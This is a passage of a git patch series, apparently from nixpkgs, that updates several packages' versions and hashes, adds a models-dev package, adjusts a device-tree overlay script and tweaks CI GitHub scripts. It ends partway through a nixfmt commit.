diff --git a/pkgs/by-name/mo/models-dev/package.nix b/pkgs/by-name/mo/models-dev/package.nix
new file mode 100644
index 000000000000..bb365dba9403
--- /dev/null
+++ b/pkgs/by-name/mo/models-dev/package.nix
@@ -0,0 +1,117 @@
+{
+  lib,
+  stdenvNoCC,
+  bun,
+  fetchFromGitHub,
+  nix-update-script,
+  writableTmpDirAsHomeHook,
+}:
+
+let
+  models-dev-node-modules-hash = {
+    "aarch64-darwin" = "sha256-2EVW5zQTcqH9zBYAegWj/Wtb0lYHZwA7Bbqs3gRjcx0=";
+    "aarch64-linux" = "sha256-nJgFnszwvknqA21uaqlGQQ1x+4ztKx0/tEvcNrv1LJg=";
+    "x86_64-darwin" = "sha256-Un6UxmvsmBuDdUwcWnu4qb0nPN1V1PFJi4VGVkNh/YU=";
+    "x86_64-linux" = "sha256-nlL+Ayacxz4fm404cABORSVGQcNxb3cB4mOezkrI90U=";
+  };
+in
+stdenvNoCC.mkDerivation (finalAttrs: {
+  pname = "models-dev";
+  version = "0-unstable-2025-07-12";
+  src = fetchFromGitHub {
+    owner = "sst";
+    repo = "models.dev";
+    rev = "9384b47617ec10f5b008908457b3e8f89556e340";
+    hash = "sha256-ayhWGFyU6uLrXYrftP7J/xM064bErKFGnySt2AfBkBY=";
+  };
+
+  node_modules = stdenvNoCC.mkDerivation {
+    pname = "models-dev-node_modules";
+    inherit (finalAttrs) version src;
+
+    impureEnvVars = lib.fetchers.proxyImpureEnvVars ++ [
+      "GIT_PROXY_COMMAND"
+      "SOCKS_SERVER"
+    ];
+
+    nativeBuildInputs = [
+      bun
+      writableTmpDirAsHomeHook
+    ];
+
+    dontConfigure = true;
+
+    buildPhase = ''
+      runHook preBuild
+
+       export BUN_INSTALL_CACHE_DIR=$(mktemp -d)
+
+       bun install \
+         --force \
+         --frozen-lockfile \
+         --no-progress
+
+      runHook postBuild
+    '';
+
+    installPhase = ''
+      runHook preInstall
+
+      mkdir -p $out/node_modules
+      cp -R ./node_modules $out
+
+      runHook postInstall
+    '';
+
+    # Required else we get errors that our fixed-output derivation references store paths
+    dontFixup = true;
+
+    outputHash = models-dev-node-modules-hash.${stdenvNoCC.hostPlatform.system};
+    outputHashAlgo = "sha256";
+    outputHashMode = "recursive";
+  };
+
+  nativeBuildInputs = [ bun ];
+
+  configurePhase = ''
+    runHook preConfigure
+
+    cp -R ${finalAttrs.node_modules}/node_modules .
+
+    runHook postConfigure
+  '';
+
+  preBuild = ''
+    patchShebangs packages/web/script/build.ts
+  '';
+
+  buildPhase = ''
+    runHook preBuild
+
+    cd packages/web
+    bun run build
+
+    runHook postBuild
+  '';
+
+  installPhase = ''
+    runHook preInstall
+
+    mkdir -p $out/dist
+    cp -R ./dist $out
+
+    runHook postInstall
+  '';
+
+  passthru.updateScript = nix-update-script {
+    extraArgs = [ "--version=branch" ];
+  };
+
+  meta = {
+    description = "Comprehensive open-source database of AI model specifications, pricing, and capabilities";
+    homepage = "https://github.com/sst/models-dev";
+    license = lib.licenses.mit;
+    platforms = lib.platforms.unix;
+    maintainers = with lib.maintainers; [ delafthi ];
+  };
+})

From 04c7347bf85b3ed6f6e44a3c90d0c7e54b3dcbc1 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Mon, 14 Jul 2025 10:11:40 +0200
Subject: [PATCH 2638/4511] models-dev: 0-unstable-2025-07-12 ->
 0-unstable-2025-07-14

Diff: https://github.com/sst/models.dev/compare/9384b47617ec10f5b008908457b3e8f89556e340...2b0849aa20d48c28e2bac1fa3762aec867a2e7c7
(cherry picked from commit 419678255eaebe91559329db6bf449fa771eae52)
---
 pkgs/by-name/mo/models-dev/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/models-dev/package.nix b/pkgs/by-name/mo/models-dev/package.nix
index bb365dba9403..08ee5b69824a 100644
--- a/pkgs/by-name/mo/models-dev/package.nix
+++ b/pkgs/by-name/mo/models-dev/package.nix
@@ -17,12 +17,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "models-dev";
-  version = "0-unstable-2025-07-12";
+  version = "0-unstable-2025-07-14";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "models.dev";
-    rev = "9384b47617ec10f5b008908457b3e8f89556e340";
-    hash = "sha256-ayhWGFyU6uLrXYrftP7J/xM064bErKFGnySt2AfBkBY=";
+    rev = "2b0849aa20d48c28e2bac1fa3762aec867a2e7c7";
+    hash = "sha256-SC2yOy+6xjiGgRuRJY6wCtzWjFJm/DUy+gSlMXXDgAk=";
   };
 
   node_modules = stdenvNoCC.mkDerivation {

From a40235013bb4ea0ab521f58255172b41c23b86c1 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Thu, 3 Jul 2025 09:53:51 +0200
Subject: [PATCH 2639/4511] opensnitch: 1.7.0.0 -> 1.7.1

Release notes: https://github.com/evilsocket/opensnitch/releases/tag/v1.7.1

(cherry picked from commit 9aa1a0a1ededd2ea8b990bfc794dff0f900cd874)
---
 pkgs/by-name/op/opensnitch/package.nix | 14 ++------------
 1 file changed, 2 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/op/opensnitch/package.nix b/pkgs/by-name/op/opensnitch/package.nix
index 18964197f2d5..d670db042cae 100644
--- a/pkgs/by-name/op/opensnitch/package.nix
+++ b/pkgs/by-name/op/opensnitch/package.nix
@@ -1,7 +1,6 @@
 {
   buildGoModule,
   fetchFromGitHub,
-  fetchpatch,
   protobuf,
   go-protobuf,
   pkg-config,
@@ -35,24 +34,15 @@ let
 in
 buildGoModule (finalAttrs: {
   pname = "opensnitch";
-  version = "1.7.0.0";
+  version = "1.7.1";
 
   src = fetchFromGitHub {
     owner = "evilsocket";
     repo = "opensnitch";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-ZkXqocgxyJGo5uQq4Ct1wmUIQljtx5oPzj4JfWWAuSE=";
+    hash = "sha256-j73wbHm8hrfm+8YVwonzU+ddzwSk9+ecucsQ0Es715k=";
   };
 
-  patches = [
-    # https://github.com/evilsocket/opensnitch/issues/1357
-    # remove next release
-    (fetchpatch {
-      url = "https://github.com/dwongdev/opensnitch/commit/376b06ef97ef79e3afa699878af2e59918aa7ef0.patch?full_index=1";
-      hash = "sha256-QBhc4A2Dign5JY4fcQ2c3F02xFj3m3G2VwY9cFuWV3w=";
-    })
-  ];
-
   postPatch = ''
     # Allow configuring Version at build time
     substituteInPlace daemon/core/version.go --replace-fail "const " "var "

From 77c2a17594f6b683b2228d258b3f5ddef842558e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 16 Jul 2025 13:43:15 +0000
Subject: [PATCH 2640/4511] unbound-full: 1.23.0 -> 1.23.1

(cherry picked from commit 850180f1a01c5c15e590f12f9c6ca1d0cf4767f0)
---
 pkgs/by-name/un/unbound/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/un/unbound/package.nix b/pkgs/by-name/un/unbound/package.nix
index 2a4fca39cae1..b4da71a189fe 100644
--- a/pkgs/by-name/un/unbound/package.nix
+++ b/pkgs/by-name/un/unbound/package.nix
@@ -56,13 +56,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "unbound";
-  version = "1.23.0";
+  version = "1.23.1";
 
   src = fetchFromGitHub {
     owner = "NLnetLabs";
     repo = "unbound";
     tag = "release-${finalAttrs.version}";
-    hash = "sha256-a9WNUVDy7ORB40VFUhkUxEaBho+HVNJ105AqdGDr+tI=";
+    hash = "sha256-65bv/AYQ3Dxwuwv49dU2UuA2imZFbUWnQEJESJvqC6w=";
   };
 
   outputs = [

From d54a363f9d1339da235e1518d53006eaf6a54096 Mon Sep 17 00:00:00 2001
From: Babbaj <babbaj45@gmail.com>
Date: Wed, 4 Jun 2025 01:30:18 -0400
Subject: [PATCH 2641/4511] openrazer: 3.10.1 -> 3.10.3

(cherry picked from commit 4988926ed733c76e6d6e6824d9fe4fc322947c3f)
---
 pkgs/development/python-modules/openrazer/common.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/openrazer/common.nix b/pkgs/development/python-modules/openrazer/common.nix
index df6f5ef4d8a9..d9dd55c2c528 100644
--- a/pkgs/development/python-modules/openrazer/common.nix
+++ b/pkgs/development/python-modules/openrazer/common.nix
@@ -1,13 +1,13 @@
 { lib, fetchFromGitHub }:
 rec {
-  version = "3.10.1";
+  version = "3.10.3";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "openrazer";
     repo = "openrazer";
     tag = "v${version}";
-    hash = "sha256-igrGx7Y6ENtZatJCTAW43/0q6ZjljJ9/kU3QFli4yIU=";
+    hash = "sha256-M5g3Rn9WuyudhWQfDooopjexEgGVB0rzfJsPg+dqwn4=";
   };
 
   meta = {

From 73c79c63e3769e9501b3d1d3787b8b902718c6c6 Mon Sep 17 00:00:00 2001
From: Elliot Berman <eberman@anduril.com>
Date: Fri, 11 Jul 2025 10:25:04 -0700
Subject: [PATCH 2642/4511] deviceTree.applyOverlays: Copy through other files

The source devicetree package can have overlays (dtbo) files. When
applying overlays specified with hardware.deviceTree.overlays, the dtbos
from the source are dropped. Make applyOverlays copy through all non-DTB
files. This matches the behavior when there are no
hardware.deviceTree.overlays described for the system.

(cherry picked from commit b09db1f090fb614b7531abad2a8804a87f4872b7)
---
 .../linux/device-tree/apply_overlays.py       | 65 +++++++++++--------
 1 file changed, 38 insertions(+), 27 deletions(-)

diff --git a/pkgs/os-specific/linux/device-tree/apply_overlays.py b/pkgs/os-specific/linux/device-tree/apply_overlays.py
index 1fd0ba16cdf9..035433adc512 100644
--- a/pkgs/os-specific/linux/device-tree/apply_overlays.py
+++ b/pkgs/os-specific/linux/device-tree/apply_overlays.py
@@ -3,6 +3,7 @@ from dataclasses import dataclass
 from functools import cached_property
 import json
 from pathlib import Path
+import shutil
 
 from libfdt import Fdt, FdtException, FDT_ERR_NOSPACE, FDT_ERR_NOTFOUND, fdt_overlay_apply
 
@@ -56,6 +57,33 @@ def apply_overlay(dt: Fdt, dto: Fdt) -> Fdt:
 
         raise FdtException(err)
 
+def process_dtb(rel_path: Path, source: Path, destination: Path, overlays_data: list[Overlay]):
+    source_dt = source / rel_path
+    print(f"Processing source device tree {rel_path}...")
+    with source_dt.open("rb") as fd:
+        dt = Fdt(fd.read())
+
+    for overlay in overlays_data:
+        if overlay.filter and overlay.filter not in str(rel_path):
+            print(f"  Skipping overlay {overlay.name}: filter does not match")
+            continue
+
+        dt_compatible = get_compatible(dt)
+        if len(dt_compatible) == 0:
+            print(f"  Device tree {rel_path} has no compatible string set. Assuming it's compatible with overlay")
+        elif not overlay.compatible.intersection(dt_compatible):
+            print(f"  Skipping overlay {overlay.name}: {overlay.compatible} is incompatible with {dt_compatible}")
+            continue
+
+        print(f"  Applying overlay {overlay.name}")
+        dt = apply_overlay(dt, overlay.fdt)
+
+    print(f"Saving final device tree {rel_path}...")
+    dest_path = destination / rel_path
+    dest_path.parent.mkdir(parents=True, exist_ok=True)
+    with dest_path.open("wb") as fd:
+        fd.write(dt.as_bytearray())
+
 def main():
     parser = ArgumentParser(description='Apply a list of overlays to a directory of device trees')
     parser.add_argument("--source", type=Path, help="Source directory")
@@ -77,33 +105,16 @@ def main():
             for item in json.load(fd)
         ]
 
-    for source_dt in source.glob("**/*.dtb"):
-        rel_path = source_dt.relative_to(source)
-
-        print(f"Processing source device tree {rel_path}...")
-        with source_dt.open("rb") as fd:
-            dt = Fdt(fd.read())
-
-        for overlay in overlays_data:
-            if overlay.filter and overlay.filter not in str(rel_path):
-                print(f"  Skipping overlay {overlay.name}: filter does not match")
-                continue
-
-            dt_compatible = get_compatible(dt)
-            if len(dt_compatible) == 0:
-                print(f"  Device tree {rel_path} has no compatible string set. Assuming it's compatible with overlay")
-            elif not overlay.compatible.intersection(dt_compatible):
-                print(f"  Skipping overlay {overlay.name}: {overlay.compatible} is incompatible with {dt_compatible}")
-                continue
-
-            print(f"  Applying overlay {overlay.name}")
-            dt = apply_overlay(dt, overlay.fdt)
-
-        print(f"Saving final device tree {rel_path}...")
-        dest_path = destination / rel_path
-        dest_path.parent.mkdir(parents=True, exist_ok=True)
-        with dest_path.open("wb") as fd:
-            fd.write(dt.as_bytearray())
+    for dirpath, dirnames, filenames in source.walk():
+        for filename in filenames:
+            rel_path = (dirpath / filename).relative_to(source)
+            if filename.endswith(".dtb"):
+                process_dtb(rel_path, source, destination, overlays_data)
+            else:
+                # Copy other files through
+                dest_path = destination / rel_path
+                dest_path.parent.mkdir(parents=True, exist_ok=True)
+                shutil.copy(source / rel_path, dest_path)
 
 
 if __name__ == '__main__':

From 673d3bade9298978cece2d5fe03ed802726657eb Mon Sep 17 00:00:00 2001
From: Elliot Berman <eberman@anduril.com>
Date: Mon, 14 Jul 2025 10:20:34 -0700
Subject: [PATCH 2643/4511] deviceTree.applyOverlays: Add remaining type
 annotations

Add remaining type annotations to apply_overlays.py.

(cherry picked from commit b2749287abc3a288c089c1a51ce6e23d1d8e344f)
---
 pkgs/os-specific/linux/device-tree/apply_overlays.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/device-tree/apply_overlays.py b/pkgs/os-specific/linux/device-tree/apply_overlays.py
index 035433adc512..8b9f6f33dc3e 100644
--- a/pkgs/os-specific/linux/device-tree/apply_overlays.py
+++ b/pkgs/os-specific/linux/device-tree/apply_overlays.py
@@ -15,16 +15,16 @@ class Overlay:
     dtbo_file: Path
 
     @cached_property
-    def fdt(self):
+    def fdt(self) -> Fdt:
         with self.dtbo_file.open("rb") as fd:
             return Fdt(fd.read())
 
     @cached_property
-    def compatible(self):
+    def compatible(self) -> set[str]:
         return get_compatible(self.fdt)
 
 
-def get_compatible(fdt):
+def get_compatible(fdt) -> set[str]:
     root_offset = fdt.path_offset("/")
 
     try:

From fea70b21d1fb9c8fb6bc84c5e0d1e28b4e27ecc5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 20 Jul 2025 07:24:52 +0000
Subject: [PATCH 2644/4511] proksi: 0.6.0 -> 0.6.1

(cherry picked from commit 98bd9dfc8e12e44c745c65daa5358b828a1581fa)
---
 pkgs/by-name/pr/proksi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pr/proksi/package.nix b/pkgs/by-name/pr/proksi/package.nix
index c5c31b8074a6..3f8fa3eb4bb1 100644
--- a/pkgs/by-name/pr/proksi/package.nix
+++ b/pkgs/by-name/pr/proksi/package.nix
@@ -13,13 +13,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "proksi";
-  version = "0.6.0";
+  version = "0.6.1";
 
   src = fetchFromGitHub {
     owner = "luizfonseca";
     repo = "proksi";
     tag = "proksi-v${finalAttrs.version}";
-    hash = "sha256-5IXtMtyKbx7re6CA61AnQ85k/SMdkjZo/ySnNoD2DDo=";
+    hash = "sha256-AVNQBrFxkFPgnVbh3Y0CQ3RajMmh/M6ee/QkumdLDs4=";
   };
 
   postPatch = ''
@@ -27,7 +27,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-yjbtP+FlDaJXPhCu1UyaDolpzy+BUejU8nVVSVsKCzE=";
+  cargoHash = "sha256-MYyPYZFmbQZszYViaGZdbUZWM739MN14J1ckyR8hXZc=";
 
   nativeBuildInputs = [
     pkg-config

From bc20d75ac9ee87734b8c7a835cca0575cd36ba4f Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Thu, 3 Jul 2025 01:30:52 -0700
Subject: [PATCH 2645/4511] util-linuxMinimal: use fetchurlBoot

The dependency chain goes something like:

util-linuxMinimal -> fetchurl -> nss-cacert -> \
python3.13-buildcatrust -> python3 which causes infinite recursion if
a hash is left out. So override fetchurl to fetchurlBoot just for the
minimal util-linux.

(cherry picked from commit c897b562e13be7ac666d2b5fbcbe7dc8a57a7ad9)
---
 pkgs/top-level/all-packages.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 9b497bdefdde..1f0a35626962 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -11587,6 +11587,7 @@ with pkgs;
   usbrelayd = callPackage ../os-specific/linux/usbrelay/daemon.nix { };
 
   util-linuxMinimal = util-linux.override {
+    fetchurl = stdenv.fetchurlBoot;
     cryptsetupSupport = false;
     nlsSupport = false;
     ncursesSupport = false;

From d9e640fb613cf477002732185a2763f004c5dd67 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 18 Jul 2025 09:46:55 +0000
Subject: [PATCH 2646/4511] discord-ptb: 0.0.151 -> 0.0.152

(cherry picked from commit 2d621464ce0073ea7625310fca7611c032462ee1)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 2f72810dce81..514b4f2122c6 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -10,7 +10,7 @@ let
     if stdenv.hostPlatform.isLinux then
       {
         stable = "0.0.101";
-        ptb = "0.0.151";
+        ptb = "0.0.152";
         canary = "0.0.716";
         development = "0.0.83";
       }
@@ -30,7 +30,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";
-        hash = "sha256-7fQFCPUj59c/OfuNa4RDxGexAKZXLL7M+7n36WE5qDg=";
+        hash = "sha256-GbLEAu6gchwkkupU6k6i7bpdMVnCqB74HDYxyTt3J/w=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";

From 1d6ec97f10fe0684858c2e79e9ab14c6d720a84d Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sat, 19 Jul 2025 11:29:25 -0400
Subject: [PATCH 2647/4511] python3Packages.pipdeptree: add mdaniels5757 as
 maintainer

(cherry picked from commit 7e24422faaf3ca23db3d845d139d8767a29f47b4)
---
 pkgs/development/python-modules/pipdeptree/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/pipdeptree/default.nix b/pkgs/development/python-modules/pipdeptree/default.nix
index f02c8c2e5e94..db4aeef9529e 100644
--- a/pkgs/development/python-modules/pipdeptree/default.nix
+++ b/pkgs/development/python-modules/pipdeptree/default.nix
@@ -68,7 +68,10 @@ buildPythonPackage rec {
     homepage = "https://github.com/tox-dev/pipdeptree";
     changelog = "https://github.com/tox-dev/pipdeptree/releases/tag/${src.tag}";
     license = licenses.mit;
-    maintainers = with maintainers; [ charlesbaynham ];
+    maintainers = with maintainers; [
+      charlesbaynham
+      mdaniels5757
+    ];
     mainProgram = "pipdeptree";
   };
 }

From b10389b2ceb3597072e4ce2f0605ea4949fb4fbb Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 16:04:23 +0200
Subject: [PATCH 2648/4511] Revert "ci/github-script/commits: keep formatting
 for diffs of markdown blocks"

This reverts commit b19798c8b03cc378373aac1a9e01cfdbb5f12305.

It lead to messed up formatting of the diff.

(cherry picked from commit 4a0c2c58a2f3270b36ba6d2a334511b7f5b161ca)
---
 ci/github-script/commits.js | 11 +++--------
 1 file changed, 3 insertions(+), 8 deletions(-)

diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index d382f0949d36..52bc4bdb4b8c 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -220,14 +220,9 @@ module.exports = async function ({ github, context, core, dry }) {
         }
 
         core.summary.addRaw('<details><summary>Show diff</summary>')
-        core.summary.addCodeBlock(
-          truncated
-            .join('\n')
-            .replace(/&/g, '&amp;')
-            .replace(/</g, '&lt;')
-            .replace(/>/g, '&gt;'),
-          'diff',
-        )
+        core.summary.addRaw('\n\n```diff', true)
+        core.summary.addRaw(truncated.join('\n'), true)
+        core.summary.addRaw('```', true)
         core.summary.addRaw('</details>')
       }
 

From d68bf37d635714b0d95994d04c2a9601e6f55aee Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 16:06:25 +0200
Subject: [PATCH 2649/4511] ci/github-script/commits: harden code block
 rendering

To avoid rendering issues when diffing a markdown file with these
markers in context, just increase the markers length.

(cherry picked from commit 524a47b2b4e82ca0086c997de303b404f7cba51e)
---
 ci/github-script/commits.js | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index 52bc4bdb4b8c..e5553c59ce7f 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -220,9 +220,9 @@ module.exports = async function ({ github, context, core, dry }) {
         }
 
         core.summary.addRaw('<details><summary>Show diff</summary>')
-        core.summary.addRaw('\n\n```diff', true)
+        core.summary.addRaw('\n\n``````````diff', true)
         core.summary.addRaw(truncated.join('\n'), true)
-        core.summary.addRaw('```', true)
+        core.summary.addRaw('``````````', true)
         core.summary.addRaw('</details>')
       }
 

From ee2d1d67649e7759edcfe645724e9b3b28547ae1 Mon Sep 17 00:00:00 2001
From: Jon Hermansen <jon@jh86.org>
Date: Sat, 19 Jul 2025 21:44:46 -0400
Subject: [PATCH 2650/4511] librewolf-unwrapped: 140.0.2-1 -> 140.0.4-1

(cherry picked from commit 5b1b310e87cf41e4e4f078625d4adadb6850618a)
---
 .../networking/browsers/librewolf/src.json             | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/networking/browsers/librewolf/src.json b/pkgs/applications/networking/browsers/librewolf/src.json
index 95333e42627e..03f6d547b6a0 100644
--- a/pkgs/applications/networking/browsers/librewolf/src.json
+++ b/pkgs/applications/networking/browsers/librewolf/src.json
@@ -1,11 +1,11 @@
 {
-  "packageVersion": "140.0.2-1",
+  "packageVersion": "140.0.4-1",
   "source": {
-    "rev": "140.0.2-1",
-    "hash": "sha256-xCKZgnPAoY5y5NmM0/qSeLRvB5ZirnPyxxoNnYA4ZRs="
+    "rev": "140.0.4-1",
+    "hash": "sha256-/7Ynt0mKEu/ms9B5J3xfh6I5nnmdz8xI/7bm9uURE7M="
   },
   "firefox": {
-    "version": "140.0.2",
-    "hash": "sha512-EdMpXIKDVmj0OoiL1araIiSHduAzrsx1WDSObuJmJr9LZbuq4mgPcoWmsrYgnsXUrqRT8eBgNUTNSL9FxzWy6g=="
+    "version": "140.0.4",
+    "hash": "sha512-PefAhxuKRWg/XCJvs+keWX6Pie8VSyCLKlfE0+qfOctcaey9Xso7baaNN3VojSKJwTYMfREMZ7sb4c8m74zzbQ=="
   }
 }

From 23c6adf8039d90493f39e1755f8c80108f4017b1 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sat, 19 Jul 2025 12:24:06 +0200
Subject: [PATCH 2651/4511] weechat-unwrapped: 4.6.3 -> 4.7.0

https://github.com/weechat/weechat/releases/tag/v4.7.0
(cherry picked from commit 2f36587da2274596af8accf4e1f4fb482536f78e)
---
 pkgs/applications/networking/irc/weechat/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/irc/weechat/default.nix b/pkgs/applications/networking/irc/weechat/default.nix
index b7d715ea4ad9..e57d2bd58bca 100644
--- a/pkgs/applications/networking/irc/weechat/default.nix
+++ b/pkgs/applications/networking/irc/weechat/default.nix
@@ -103,11 +103,11 @@ assert lib.all (p: p.enabled -> !(builtins.elem null p.buildInputs)) plugins;
 
 stdenv.mkDerivation rec {
   pname = "weechat";
-  version = "4.6.3";
+  version = "4.7.0";
 
   src = fetchurl {
     url = "https://weechat.org/files/src/weechat-${version}.tar.xz";
-    hash = "sha256-XAte+pabhzxL5YIBmxhSPuQD50MLgiOCW820Son1gV0=";
+    hash = "sha256-RdwDlgYMhjFphoNJ7CgK8cb0rFJKpJJYDhoGXhQsLNg=";
   };
 
   # Why is this needed? https://github.com/weechat/weechat/issues/2031

From 52fe274caa3e1ddd3b6942f8c3a920f8cf46918e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 15 Jul 2025 08:21:59 +0000
Subject: [PATCH 2652/4511] gnomeExtensions.pop-shell:
 1.2.0-unstable-2025-03-10 -> 1.2.0-unstable-2025-07-09

(cherry picked from commit dc49c5a4b07d41a8e5812f59886c97763daa8064)
---
 pkgs/desktops/gnome/extensions/pop-shell/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/desktops/gnome/extensions/pop-shell/default.nix b/pkgs/desktops/gnome/extensions/pop-shell/default.nix
index cc96578c1c62..09a9ac05db2c 100644
--- a/pkgs/desktops/gnome/extensions/pop-shell/default.nix
+++ b/pkgs/desktops/gnome/extensions/pop-shell/default.nix
@@ -10,13 +10,13 @@
 
 stdenv.mkDerivation {
   pname = "gnome-shell-extension-pop-shell";
-  version = "1.2.0-unstable-2025-03-10";
+  version = "1.2.0-unstable-2025-07-09";
 
   src = fetchFromGitHub {
     owner = "pop-os";
     repo = "shell";
-    rev = "b3fc4253dc29b30fb52ac5eef5d3af643a46d18c";
-    hash = "sha256-EMX1AREpOO3DgxV/EbF2hP5JLggzlgFu1gsbhF3W1os=";
+    rev = "6fd8c039a081e8ad7bbd40ef7883ec6e5fc2a3f8";
+    hash = "sha256-3zIbfjaJSUbPmUVppoSBWviQWQvykaT1qw9uQvcXmvM=";
   };
 
   nativeBuildInputs = [

From 1c405597ba8ad0c03ca5a9bee0623c92af123068 Mon Sep 17 00:00:00 2001
From: Ming-Chuan <ming@culpring.com>
Date: Thu, 17 Jul 2025 02:04:08 +0800
Subject: [PATCH 2653/4511] krita: 5.2.10 -> 5.2.11

(cherry picked from commit 8560495c32b5327c0ba637967e6fe042487f2ab9)
---
 pkgs/applications/graphics/krita/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/graphics/krita/default.nix b/pkgs/applications/graphics/krita/default.nix
index acb72088f0da..0e70e0451eac 100644
--- a/pkgs/applications/graphics/krita/default.nix
+++ b/pkgs/applications/graphics/krita/default.nix
@@ -1,7 +1,7 @@
 { callPackage, ... }:
 
 callPackage ./generic.nix {
-  version = "5.2.10";
+  version = "5.2.11";
   kde-channel = "stable";
-  hash = "sha256-pJrJcrO7lkU0h3XPFpOADL9zXINcqfn1Thep4fMHctU=";
+  hash = "sha256-Gawkagbpb3+De1fy5bGr1R3QnwyUjfcHfgizstNgxQ8=";
 }

From 58846dd9b2ff0026b3ae980954bfdd46941caa5b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 16:20:41 +0200
Subject: [PATCH 2654/4511] ci/github-script/labels: limit cutoff to max 1 day

It has only happened once, but the GitHub API suddenly returned a
workflow run from a few weeks back. This lead to quickly hitting the
rate limit for search requests.

Prevent this from happening by going back a day max for the "recently
updated" case. After roughly a day, every PR will have been touched by
the regular batch processing anyway.

Also save a few API requests, by taking bigger chunks of the search
result.

(cherry picked from commit 7f9f7a20b0434f9acb96b05e5f121a9ef29f53d6)
---
 ci/github-script/labels.js | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/ci/github-script/labels.js b/ci/github-script/labels.js
index 7bbe1497d906..d7dbc2b2375c 100644
--- a/ci/github-script/labels.js
+++ b/ci/github-script/labels.js
@@ -292,11 +292,16 @@ module.exports = async function ({ github, context, core, dry }) {
         })
       ).data.workflow_runs[0]
 
-      // Go back as far as the last successful run of this workflow to make sure
-      // we are not leaving anyone behind on GHA failures.
-      // Defaults to go back 1 hour on the first run.
       const cutoff = new Date(
-        lastRun?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000,
+        Math.max(
+          // Go back as far as the last successful run of this workflow to make sure
+          // we are not leaving anyone behind on GHA failures.
+          // Defaults to go back 1 hour on the first run.
+          new Date(lastRun?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000).getTime(),
+          // Go back max. 1 day to prevent hitting all API rate limits immediately,
+          // when GH API returns a wrong workflow by accident.
+          new Date().getTime() - 24 * 60 * 60 * 1000,
+        ),
       )
       core.info('cutoff timestamp: ' + cutoff.toISOString())
 
@@ -308,6 +313,7 @@ module.exports = async function ({ github, context, core, dry }) {
             'is:open',
             `updated:>=${cutoff.toISOString()}`,
           ].join(' AND '),
+          per_page: 100,
           // TODO: Remove in 2025-10, when it becomes the default.
           advanced_search: true,
         },

From 46d9dd6b8acff82d45920dfa1e555393bfde4475 Mon Sep 17 00:00:00 2001
From: Silvan Mosberger <silvan.mosberger@moduscreate.com>
Date: Mon, 14 Jul 2025 13:23:16 +0200
Subject: [PATCH 2655/4511] nixfmt[-rfc-style]: unstable -> 1.0.0

Also:
- Updates the update script to use stable versions going forward

(cherry picked from commit b3bc1e31d0fc920cc11a79ed4f4bd202961addfb)
---
 pkgs/by-name/ni/nixfmt-rfc-style/date.txt        |  1 -
